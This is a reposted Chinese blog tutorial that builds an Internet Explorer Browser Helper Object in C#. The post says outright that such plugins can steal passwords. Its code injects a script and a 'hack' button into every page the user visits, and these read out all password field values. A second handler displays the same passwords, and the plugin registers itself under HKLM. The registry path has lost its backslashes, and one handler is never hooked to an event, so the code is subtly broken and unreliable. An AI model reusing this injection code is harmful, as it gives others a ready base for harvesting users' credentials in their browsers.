制作一个属于自己的BHO吧！（C#） （转）

摘自：http://tech.ddvip.com/2013-05/1369758775196257.html

BHO（Browser Helper Object）是插件，它寄存在IE浏览器中运行。在咱们的日常生活中无时无刻都在使用BHO，比如：迅雷检测用户是否单击了下载链接的BHO。用BHO也能做出些非常有意思的程序：窃取用户在网页上输入的密码信息等。

接下来，咱们也来制作一个恶搞的BHO吧，该BHO的功能如下：

1.注册成功后，每当用户浏览一个新的网页时，会自动在该网页中注入一个按钮

2.点击该按钮能获取用户在该网页中输入的敏感信息

操作步骤

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程序代码

IObjectWithSite.cs

using System;
using System.Collections.Generic;  

using System.Text;  

using System.Runtime.InteropServices;  

namespace HelloBHO
{  

    [
ComVisible(true),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown),
Guid("FC4801A3-2BA9-11CF-A229-00AA003D7352")
]  

    public interface IObjectWithSite
    {
        [PreserveSig]
        int SetSite([MarshalAs(UnmanagedType.IUnknown)]object site);
        [PreserveSig]
        int GetSite(ref Guid guid, out IntPtr ppvSite);
    }
}

BHO.cs

using System;
using System.Collections.Generic;
using System.Text;  

using System.Runtime.InteropServices;
using SHDocVw;
using mshtml;
using Microsoft.Win32;  

namespace HelloBHO
{  

        [
    ComVisible(true),
    Guid("8a194578-81ea-4850-9911-13ba2d71efbd"),
    ClassInterface(ClassInterfaceType.None)
    ]
    public class BHO:IObjectWithSite
    {
        WebBrowser webBrowser;
        HTMLDocument document;  

        public void OnDocumentComplete(object pDisp,ref object URL)
        {
            document = (HTMLDocument)webBrowser.Document;
            IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)document.all.tags("head")).item(null, 0);
            var body = (HTMLBody)document.body;  

            //添加Javascript脚本
            IHTMLScriptElement scriptElement = (IHTMLScriptElement)document.createElement("script");
            scriptElement.type = "text/javascript";
            scriptElement.text = "function FindPassword(){var tmp=document.getElementsByTagName('input');var pwdList='';for(var i=0;i<tmp.length;i++){if(tmp[i].type.toLowerCase()=='password'){pwdList+=tmp[i].value}} alert(pwdList);}";//document.getElementById('PWDHACK').value=pwdList;
            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptElement);  

            //创建些可以使用CSS的节点
            string styleText = @".tb{position:absolute;top:100px;}";//left:100px;border:1px red solid;width:50px;height:50px;
            IHTMLStyleElement tmpStyle = (IHTMLStyleElement)document.createElement("style");  

            tmpStyle.type = "text/css";
            tmpStyle.styleSheet.cssText = styleText;  

            string btnString = @"<input type='button' value='hack' onclick='FindPassword()' />";
            body.insertAdjacentHTML("afterBegin", btnString);  

        }  

        public int SetSite(object site)
        {
            if (site != null)
            {
                webBrowser = (WebBrowser)site;  

                webBrowser.DocumentComplete += new DWebBrowserEvents2_DocumentCompleteEventHandler(this.OnDocumentComplete);
            }
            else
            {
                webBrowser.DocumentComplete -= new DWebBrowserEvents2_DocumentCompleteEventHandler(this.OnDocumentComplete);
                webBrowser = null;
            }
            return 0;
        }  

        public void OnBeforeNavigate2(object pDisp, ref object URL, ref object Flags, ref object TargetFrameName, ref object PostData, ref object Headers, ref bool Cancel)
        {
            document = (HTMLDocument)webBrowser.Document;
            foreach (IHTMLInputElement element in document.getElementsByTagName("INPUT"))
            {
                if (element.type.ToLower() == "password")
                {
                    System.Windows.Forms.MessageBox.Show(element.value);
                }
            }
        }  

        public int GetSite(ref Guid guid, out IntPtr ppvSite)
        {
            IntPtr punk = Marshal.GetIUnknownForObject(webBrowser);
            int hr = Marshal.QueryInterface(punk, ref guid, out ppvSite);
            Marshal.Release(punk);
            return hr;
        }  

        public static string BHOKEYNAME = "SoftwareMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects";  

        [ComRegisterFunction]
        public static void RegisterBHO(Type type)
        {
            RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true);  

            if (registryKey == null)
                registryKey = Registry.LocalMachine.CreateSubKey(BHOKEYNAME);  

            string guid = type.GUID.ToString("B");
            RegistryKey ourKey = registryKey.OpenSubKey(guid);  

            if (ourKey == null)
                ourKey = registryKey.CreateSubKey(guid);  

            registryKey.Close();
            ourKey.Close();
        }  

        [ComUnregisterFunction]
        public static void UnregisterBHO(Type type)
        {
            RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true);
            string guid = type.GUID.ToString("B");  

            if (registryKey != null)
                registryKey.DeleteSubKey(guid, false);
        }
    }
}